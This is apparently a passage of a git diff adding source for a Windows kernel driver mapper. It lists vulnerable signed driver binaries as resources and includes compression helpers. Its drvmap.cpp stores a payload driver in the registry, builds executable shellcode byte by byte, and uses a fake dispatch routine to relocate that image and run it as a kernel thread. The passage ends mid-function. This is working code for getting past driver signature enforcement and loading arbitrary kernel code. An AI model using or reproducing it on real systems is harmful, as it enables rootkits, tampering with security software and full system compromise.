<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="minirtl\cmdline.h">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="drvmap.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="irp.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="kduprov.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="victim.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="consts.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="idrv\nal.h">
|
||||
<Filter>Source Files\idrv</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="idrv\rtcore.h">
|
||||
<Filter>Source Files\idrv</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hde\hde64.h">
|
||||
<Filter>hde</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="pagewalk.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="compress.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="minirtl\_filename.h">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resource.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="274.ico">
|
||||
<Filter>Resource Files</Filter>
|
||||
</Image>
|
||||
<Image Include="res\274.ico">
|
||||
<Filter>Resource Files</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="drv\iQVM64.bin">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
<None Include="drv\procexp.bin">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
<None Include="drv\RTCore64.bin">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,7 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>-map c:\makeexe\temp\dummy.sys</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
|
@ -0,0 +1,177 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2015 - 2020 gruf0x
|
||||
*
|
||||
* TITLE: COMPRESS.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Compression support routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
#include <msdelta.h>
|
||||
#include <compressapi.h>
|
||||
|
||||
#pragma comment(lib, "msdelta.lib")
|
||||
|
||||
/*
|
||||
* KDUDecompressResource
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Decompress resource and return pointer to decompressed data.
|
||||
*
|
||||
* N.B. Use supHeapFree to release memory allocated for the decompressed buffer.
|
||||
*
|
||||
*/
|
||||
PVOID KDUDecompressResource(
|
||||
_In_ PVOID ResourcePtr,
|
||||
_In_ SIZE_T ResourceSize,
|
||||
_Out_ PSIZE_T DecompressedSize
|
||||
)
|
||||
{
|
||||
DELTA_INPUT diDelta, diSource;
|
||||
DELTA_OUTPUT doOutput;
|
||||
PVOID resultPtr = NULL;
|
||||
|
||||
*DecompressedSize = 0;
|
||||
|
||||
RtlSecureZeroMemory(&diSource, sizeof(DELTA_INPUT));
|
||||
RtlSecureZeroMemory(&diDelta, sizeof(DELTA_INPUT));
|
||||
RtlSecureZeroMemory(&doOutput, sizeof(DELTA_OUTPUT));
|
||||
|
||||
diDelta.Editable = FALSE;
|
||||
diDelta.lpcStart = ResourcePtr;
|
||||
diDelta.uSize = ResourceSize;
|
||||
|
||||
if (ApplyDeltaB(DELTA_FILE_TYPE_RAW, diSource, diDelta, &doOutput)) {
|
||||
|
||||
SIZE_T newSize = (DWORD)doOutput.uSize;
|
||||
PVOID decomPtr = doOutput.lpStart;
|
||||
|
||||
if (supVerifyMappedImageMatchesChecksum(decomPtr,
|
||||
(ULONG)newSize))
|
||||
{
|
||||
resultPtr = (PVOID)supHeapAlloc(newSize);
|
||||
if (resultPtr) {
|
||||
RtlCopyMemory(resultPtr, decomPtr, newSize);
|
||||
*DecompressedSize = newSize;
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Error data checksum mismatch!\r\n");
|
||||
}
|
||||
|
||||
DeltaFree(doOutput.lpStart);
|
||||
|
||||
} else {
|
||||
printf_s("[!] Error decompressing resource, GetLastError %lu\r\n", GetLastError());
|
||||
}
|
||||
|
||||
return resultPtr;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUCompressResource
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Compress resource and write it to the disk into new file with same name and .bin extension.
|
||||
*
|
||||
*/
|
||||
VOID KDUCompressResource(
|
||||
_In_ LPWSTR lpFileName)
|
||||
{
|
||||
DWORD fileSize = 0;
|
||||
PBYTE fileBuffer;
|
||||
|
||||
DELTA_INPUT d_in, d_target, s_op, t_op, g_op;
|
||||
DELTA_OUTPUT d_out;
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
printf_s("[+] Reading %wS\r\n", lpFileName);
|
||||
fileBuffer = supReadFileToBuffer(lpFileName, &fileSize);
|
||||
|
||||
if (fileBuffer) {
|
||||
|
||||
printf_s("[+] %lu bytes read\r\n", fileSize);
|
||||
|
||||
PWSTR newFileName;
|
||||
SIZE_T sz = _strlen(lpFileName) + (2 * MAX_PATH);
|
||||
|
||||
newFileName = (PWSTR)supHeapAlloc(sz);
|
||||
if (newFileName == NULL) {
|
||||
printf_s("[!] Could not allocate memory for filename\r\n");
|
||||
}
|
||||
else {
|
||||
|
||||
_filename_noext(newFileName, lpFileName);
|
||||
|
||||
RtlSecureZeroMemory(&d_in, sizeof(DELTA_INPUT));
|
||||
d_target.lpcStart = fileBuffer;
|
||||
d_target.uSize = fileSize;
|
||||
d_target.Editable = FALSE;
|
||||
|
||||
RtlSecureZeroMemory(&s_op, sizeof(DELTA_INPUT));
|
||||
RtlSecureZeroMemory(&t_op, sizeof(DELTA_INPUT));
|
||||
RtlSecureZeroMemory(&g_op, sizeof(DELTA_INPUT));
|
||||
|
||||
if (CreateDeltaB(DELTA_FILE_TYPE_RAW,
|
||||
DELTA_FLAG_NONE,
|
||||
DELTA_FLAG_NONE,
|
||||
d_in,
|
||||
d_target,
|
||||
s_op,
|
||||
t_op,
|
||||
g_op,
|
||||
NULL,
|
||||
0,
|
||||
&d_out))
|
||||
{
|
||||
SIZE_T writeSize = d_out.uSize;
|
||||
PVOID dataBlob = d_out.lpStart;
|
||||
|
||||
_strcat(newFileName, L".bin");
|
||||
|
||||
printf_s("[+] Saving compressed resource as %wS with new size %llu bytes\r\n",
|
||||
newFileName, writeSize);
|
||||
|
||||
if (supWriteBufferToFile(newFileName,
|
||||
dataBlob,
|
||||
writeSize,
|
||||
TRUE,
|
||||
FALSE,
|
||||
NULL) != writeSize)
|
||||
{
|
||||
printf_s("[!] Error writing to file\r\n");
|
||||
}
|
||||
|
||||
DeltaFree(d_out.lpStart);
|
||||
}
|
||||
else {
|
||||
|
||||
printf_s("[!] Error compressing resource, GetLastError %lu\r\n", GetLastError());
|
||||
}
|
||||
|
||||
supHeapFree(newFileName);
|
||||
}
|
||||
|
||||
supHeapFree(fileBuffer);
|
||||
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Could not read input file\r\n");
|
||||
}
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2015 - 2020 gruf0x
|
||||
*
|
||||
* TITLE: COMPRESS.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Compression support routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
PVOID KDUDecompressResource(
|
||||
_In_ PVOID ResourcePtr,
|
||||
_In_ SIZE_T ResourceSize,
|
||||
_Out_ PSIZE_T DecompressedSize);
|
||||
|
||||
VOID KDUCompressResource(
|
||||
_In_ LPWSTR lpFileName);
|
|
@ -0,0 +1,25 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: CONSTS.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 07 Jan 2020
|
||||
*
|
||||
* Global consts.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
#define NT_REG_PREP L"\\Registry\\Machine"
|
||||
#define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS"
|
||||
|
||||
#define PROCEXP152 L"PROCEXP152"
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,837 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: DRVMAP.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Driver mapping routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
#include "global.h"
|
||||
#include "irp.h"
|
||||
|
||||
//
|
||||
// WARNING: shellcode DOESN'T WORK in DEBUG
|
||||
//
|
||||
|
||||
#define BOOTSTRAPCODE_SIZE 1968 //correct this value if Import change it size
|
||||
|
||||
//
|
||||
// Size in bytes
|
||||
// InitCode 16
|
||||
// Import 64
|
||||
// BootstrapCode 1968
|
||||
//
|
||||
|
||||
//sizeof 2048
|
||||
typedef struct _SHELLCODE {
|
||||
BYTE InitCode[16];
|
||||
BYTE BootstrapCode[BOOTSTRAPCODE_SIZE];
|
||||
FUNC_TABLE Import;
|
||||
} SHELLCODE, * PSHELLCODE;
|
||||
|
||||
SHELLCODE* g_ShellCode;
|
||||
|
||||
/*
|
||||
* ExAllocatePoolTest
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* User mode test routine.
|
||||
*
|
||||
*/
|
||||
PVOID NTAPI ExAllocatePoolTest(
|
||||
_In_ POOL_TYPE PoolType,
|
||||
_In_ SIZE_T NumberOfBytes)
|
||||
{
|
||||
PVOID P;
|
||||
UNREFERENCED_PARAMETER(PoolType);
|
||||
|
||||
P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
return P;
|
||||
}
|
||||
|
||||
/*
|
||||
* ExFreePoolTest
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* User mode test routine.
|
||||
*
|
||||
*/
|
||||
VOID NTAPI ExFreePoolTest(
|
||||
_In_ PVOID P)
|
||||
{
|
||||
VirtualFree(P, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
/*
|
||||
* IofCompleteRequestTest
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* User mode test routine.
|
||||
*/
|
||||
VOID IofCompleteRequestTest(
|
||||
_In_ VOID* Irp,
|
||||
_In_ CCHAR PriorityBoost)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(Irp);
|
||||
UNREFERENCED_PARAMETER(PriorityBoost);
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* PsCreateSystemThreadTest
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* User mode test routine.
|
||||
*
|
||||
*/
|
||||
NTSTATUS NTAPI PsCreateSystemThreadTest(
|
||||
_Out_ PHANDLE ThreadHandle,
|
||||
_In_ ULONG DesiredAccess,
|
||||
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_In_opt_ HANDLE ProcessHandle,
|
||||
_Out_opt_ PCLIENT_ID ClientId,
|
||||
_In_ PKSTART_ROUTINE StartRoutine,
|
||||
_In_opt_ PVOID StartContext)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(ThreadHandle);
|
||||
UNREFERENCED_PARAMETER(DesiredAccess);
|
||||
UNREFERENCED_PARAMETER(ObjectAttributes);
|
||||
UNREFERENCED_PARAMETER(ProcessHandle);
|
||||
UNREFERENCED_PARAMETER(ClientId);
|
||||
UNREFERENCED_PARAMETER(StartRoutine);
|
||||
UNREFERENCED_PARAMETER(StartContext);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
IO_STACK_LOCATION g_testIostl;
|
||||
|
||||
/*
|
||||
* IoGetCurrentIrpStackLocationTest
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* User mode test routine.
|
||||
*
|
||||
*/
|
||||
FORCEINLINE
|
||||
PIO_STACK_LOCATION
|
||||
IoGetCurrentIrpStackLocationTest(
|
||||
_In_ PIRP Irp
|
||||
)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(Irp);
|
||||
g_testIostl.MajorFunction = IRP_MJ_CREATE;
|
||||
return &g_testIostl;
|
||||
}
|
||||
|
||||
/*
|
||||
* SizeOfProc
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Very simplified. Return size of procedure when first ret meet.
|
||||
*
|
||||
*/
|
||||
ULONG SizeOfProc(
|
||||
_In_ PBYTE FunctionPtr)
|
||||
{
|
||||
ULONG c = 0;
|
||||
UCHAR* p;
|
||||
hde64s hs;
|
||||
|
||||
__try {
|
||||
|
||||
do {
|
||||
p = FunctionPtr + c;
|
||||
hde64_disasm(p, &hs);
|
||||
if (hs.flags & F_ERROR)
|
||||
break;
|
||||
c += hs.len;
|
||||
|
||||
} while (*p != 0xC3);
|
||||
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
return 0;
|
||||
}
|
||||
return c;
|
||||
}
|
||||
|
||||
/*
|
||||
* FakeDispatchRoutine
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Bootstrap shellcode.
|
||||
* Read image from registry, process relocs and run it.
|
||||
*
|
||||
* IRQL: PASSIVE_LEVEL
|
||||
*
|
||||
*/
|
||||
NTSTATUS NTAPI FakeDispatchRoutine(
|
||||
_In_ struct _DEVICE_OBJECT* DeviceObject,
|
||||
_Inout_ struct _IRP* Irp,
|
||||
_In_ PSHELLCODE ShellCode)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG returnLength = 0, isz, dummy;
|
||||
HANDLE hKey = NULL, hThread;
|
||||
UNICODE_STRING str;
|
||||
OBJECT_ATTRIBUTES obja;
|
||||
KEY_VALUE_PARTIAL_INFORMATION keyinfo;
|
||||
KEY_VALUE_PARTIAL_INFORMATION* pkeyinfo;
|
||||
ULONG_PTR Image, exbuffer, pos;
|
||||
|
||||
PIO_STACK_LOCATION StackLocation;
|
||||
|
||||
PIMAGE_DOS_HEADER dosh;
|
||||
PIMAGE_FILE_HEADER fileh;
|
||||
PIMAGE_OPTIONAL_HEADER popth;
|
||||
PIMAGE_BASE_RELOCATION rel;
|
||||
|
||||
DWORD_PTR delta;
|
||||
LPWORD chains;
|
||||
DWORD c, p, rsz;
|
||||
|
||||
WCHAR szRegistryKey[] = {
|
||||
L'\\', L'R', L'E', L'G', L'I', L'S', L'T', L'R', L'Y', L'\\',\
|
||||
L'M', L'A', L'C', L'H', L'I', L'N', L'E', 0
|
||||
};
|
||||
|
||||
USHORT cbRegistryKey = sizeof(szRegistryKey) - sizeof(WCHAR);
|
||||
|
||||
WCHAR szValueKey[] = { L'~', 0 };
|
||||
|
||||
USHORT cbValueKey = sizeof(szValueKey) - sizeof(WCHAR);
|
||||
|
||||
UNREFERENCED_PARAMETER(DeviceObject);
|
||||
|
||||
#ifdef _DEBUG
|
||||
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
|
||||
#else
|
||||
StackLocation = IoGetCurrentIrpStackLocation(Irp);
|
||||
#endif
|
||||
|
||||
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
|
||||
&& (DeviceObject->SectorSize == 0))
|
||||
{
|
||||
|
||||
str.Buffer = szRegistryKey;
|
||||
str.Length = cbRegistryKey;
|
||||
str.MaximumLength = str.Length + sizeof(UNICODE_NULL);
|
||||
|
||||
#ifdef _DEBUG
|
||||
InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0);
|
||||
#else
|
||||
InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0);
|
||||
#endif
|
||||
|
||||
status = ShellCode->Import.ZwOpenKey(&hKey, KEY_READ, &obja);
|
||||
if (NT_SUCCESS(status)) {
|
||||
|
||||
str.Buffer = szValueKey;
|
||||
str.Length = cbValueKey;
|
||||
str.MaximumLength = str.Length + sizeof(UNICODE_NULL);
|
||||
|
||||
status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation,
|
||||
&keyinfo, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &returnLength);
|
||||
|
||||
if ((status == STATUS_BUFFER_OVERFLOW) ||
|
||||
(status == STATUS_BUFFER_TOO_SMALL))
|
||||
{
|
||||
pkeyinfo = (KEY_VALUE_PARTIAL_INFORMATION*)ShellCode->Import.ExAllocatePool(NonPagedPool, returnLength);
|
||||
if (pkeyinfo) {
|
||||
|
||||
status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation,
|
||||
(PVOID)pkeyinfo, returnLength, &dummy);
|
||||
if (NT_SUCCESS(status)) {
|
||||
|
||||
Image = (ULONG_PTR)&pkeyinfo->Data[0];
|
||||
dosh = (PIMAGE_DOS_HEADER)Image;
|
||||
fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
|
||||
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
|
||||
isz = popth->SizeOfImage;
|
||||
|
||||
exbuffer = (ULONG_PTR)ShellCode->Import.ExAllocatePool(
|
||||
NonPagedPool, isz + PAGE_SIZE) + PAGE_SIZE;
|
||||
if (exbuffer != 0) {
|
||||
|
||||
exbuffer &= ~(PAGE_SIZE - 1);
|
||||
|
||||
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
|
||||
{
|
||||
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
|
||||
popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
|
||||
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
delta = (DWORD_PTR)exbuffer - popth->ImageBase;
|
||||
c = 0;
|
||||
|
||||
while (c < rsz) {
|
||||
p = sizeof(IMAGE_BASE_RELOCATION);
|
||||
chains = (LPWORD)((PBYTE)rel + p);
|
||||
|
||||
while (p < rel->SizeOfBlock) {
|
||||
|
||||
switch (*chains >> 12) {
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
|
||||
break;
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
|
||||
break;
|
||||
}
|
||||
|
||||
chains++;
|
||||
p += sizeof(WORD);
|
||||
}
|
||||
|
||||
c += rel->SizeOfBlock;
|
||||
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
isz >>= 3;
|
||||
for (pos = 0; pos < isz; pos++)
|
||||
((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
|
||||
|
||||
hThread = NULL;
|
||||
InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
if (NT_SUCCESS(ShellCode->Import.PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL,
|
||||
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL)))
|
||||
{
|
||||
ShellCode->Import.ZwClose(hThread);
|
||||
}
|
||||
|
||||
DeviceObject->SectorSize = 512;
|
||||
}
|
||||
}
|
||||
ShellCode->Import.ExFreePool(pkeyinfo);
|
||||
}
|
||||
}
|
||||
ShellCode->Import.ZwClose(hKey);
|
||||
}
|
||||
}
|
||||
ShellCode->Import.IofCompleteRequest(Irp, 0);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUStorePayload
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Load input file as image, resolve import and store result in registry.
|
||||
*
|
||||
*/
|
||||
BOOL KDUStorePayload(
|
||||
_In_ LPWSTR lpFileName,
|
||||
_In_ ULONG_PTR KernelImage,
|
||||
_In_ ULONG_PTR KernelBase)
|
||||
{
|
||||
BOOL bSuccess = FALSE;
|
||||
HKEY hKey = NULL;
|
||||
PVOID DataBuffer = NULL;
|
||||
LRESULT lResult;
|
||||
|
||||
NTSTATUS ntStatus;
|
||||
ULONG isz;
|
||||
PVOID Image = NULL;
|
||||
PIMAGE_NT_HEADERS FileHeader;
|
||||
UNICODE_STRING ustr;
|
||||
|
||||
ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE;
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
//
|
||||
// Map input file as image.
|
||||
//
|
||||
RtlInitUnicodeString(&ustr, lpFileName);
|
||||
ntStatus = LdrLoadDll(NULL, &DllCharacteristics, &ustr, &Image);
|
||||
if ((!NT_SUCCESS(ntStatus)) || (Image == NULL)) {
|
||||
printf_s("[!] Error while loading input driver file, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
return FALSE;
|
||||
}
|
||||
else {
|
||||
printf_s("[+] Input driver file loaded at 0x%p\r\n", Image);
|
||||
}
|
||||
|
||||
FileHeader = RtlImageNtHeader(Image);
|
||||
if (FileHeader == NULL) {
|
||||
printf_s("[!] Error, invalid NT header\r\n");
|
||||
}
|
||||
else {
|
||||
|
||||
//
|
||||
// Resolve import (ntoskrnl only) and write buffer to registry.
|
||||
//
|
||||
isz = FileHeader->OptionalHeader.SizeOfImage;
|
||||
|
||||
DataBuffer = supHeapAlloc(isz);
|
||||
if (DataBuffer) {
|
||||
RtlCopyMemory(DataBuffer, Image, isz);
|
||||
|
||||
printf_s("[+] Resolving kernel import for input driver\r\n");
|
||||
supResolveKernelImport((ULONG_PTR)DataBuffer, KernelImage, KernelBase);
|
||||
|
||||
lResult = RegOpenKey(HKEY_LOCAL_MACHINE, NULL, &hKey);
|
||||
if ((lResult == ERROR_SUCCESS) && (hKey != NULL)) {
|
||||
|
||||
lResult = RegSetKeyValue(hKey, NULL, TEXT("~"), REG_BINARY,
|
||||
DataBuffer, isz);
|
||||
|
||||
bSuccess = (lResult == ERROR_SUCCESS);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
supHeapFree(DataBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
|
||||
return bSuccess;
|
||||
}
|
||||
|
||||
ULONG_PTR KDUResolveFunctionInternal(
|
||||
_In_ ULONG_PTR KernelBase,
|
||||
_In_ ULONG_PTR KernelImage,
|
||||
_In_ LPCSTR Function)
|
||||
{
|
||||
ULONG_PTR Address = supGetProcAddress(KernelBase, KernelImage, Function);
|
||||
if (Address == 0) {
|
||||
printf_s("[!] Error, %s address not found\r\n", Function);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf_s("[+] %s 0x%llX\r\n", Function, Address);
|
||||
return Address;
|
||||
}
|
||||
|
||||
#define ASSERT_RESOLVED_FUNC(FunctionPtr) { if (FunctionPtr == 0) break; }
|
||||
|
||||
/*
|
||||
* KDUSetupShellCode
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Construct shellcode data, init code.
|
||||
*
|
||||
*/
|
||||
BOOL KDUSetupShellCode(
|
||||
_In_ PKDU_CONTEXT Context,
|
||||
_In_ LPWSTR lpMapDriverFileName)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
NTSTATUS ntStatus;
|
||||
ULONG ProcedureSize = 0;
|
||||
UNICODE_STRING ustr;
|
||||
|
||||
ULONG_PTR KernelBase, KernelImage = 0;
|
||||
|
||||
WCHAR szNtOs[MAX_PATH * 2];
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
do {
|
||||
|
||||
KernelBase = Context->NtOsBase;
|
||||
if (KernelBase == 0) {
|
||||
printf_s("[!] Cannot query ntoskrnl loaded base, abort\r\n");
|
||||
break;
|
||||
}
|
||||
|
||||
printf_s("[+] Loaded ntoskrnl base 0x%llX\r\n", KernelBase);
|
||||
|
||||
//
|
||||
// Preload ntoskrnl.exe
|
||||
//
|
||||
_strcpy(szNtOs, USER_SHARED_DATA->NtSystemRoot);
|
||||
_strcat(szNtOs, L"\\system32\\ntoskrnl.exe");
|
||||
|
||||
RtlInitUnicodeString(&ustr, szNtOs);
|
||||
ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)&KernelImage);
|
||||
|
||||
if ((!NT_SUCCESS(ntStatus)) || (KernelImage == 0)) {
|
||||
printf_s("[!] Error while loading ntoskrnl.exe, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
break;
|
||||
}
|
||||
|
||||
printf_s("[+] Ntoskrnl.exe mapped at 0x%llX\r\n", KernelImage);
|
||||
|
||||
//
|
||||
// Store input file in registry.
|
||||
//
|
||||
if (!KDUStorePayload(lpMapDriverFileName, KernelImage, KernelBase)) {
|
||||
printf_s("[!] Cannot write payload to the registry, abort\r\n");
|
||||
break;
|
||||
}
|
||||
|
||||
//
|
||||
// Allocate shellcode.
|
||||
//
|
||||
g_ShellCode = (SHELLCODE*)VirtualAlloc(NULL, sizeof(SHELLCODE),
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (g_ShellCode == NULL)
|
||||
break;
|
||||
|
||||
//
|
||||
// Build initial code part.
|
||||
//
|
||||
// 00 call +5
|
||||
// 05 pop r8
|
||||
// 07 sub r8, 5
|
||||
// 0B jmps 10
|
||||
// 0D int 3
|
||||
// 0E int 3
|
||||
// 0F int 3
|
||||
// 10 code
|
||||
|
||||
|
||||
//int 3
|
||||
memset(g_ShellCode->InitCode, 0xCC, sizeof(g_ShellCode->InitCode));
|
||||
|
||||
//call +5
|
||||
g_ShellCode->InitCode[0x0] = 0xE8;
|
||||
g_ShellCode->InitCode[0x1] = 0x00;
|
||||
g_ShellCode->InitCode[0x2] = 0x00;
|
||||
g_ShellCode->InitCode[0x3] = 0x00;
|
||||
g_ShellCode->InitCode[0x4] = 0x00;
|
||||
|
||||
//pop r8
|
||||
g_ShellCode->InitCode[0x5] = 0x41;
|
||||
g_ShellCode->InitCode[0x6] = 0x58;
|
||||
|
||||
//sub r8, 5
|
||||
g_ShellCode->InitCode[0x7] = 0x49;
|
||||
g_ShellCode->InitCode[0x8] = 0x83;
|
||||
g_ShellCode->InitCode[0x9] = 0xE8;
|
||||
g_ShellCode->InitCode[0xA] = 0x05;
|
||||
|
||||
// jmps
|
||||
g_ShellCode->InitCode[0xB] = 0xEB;
|
||||
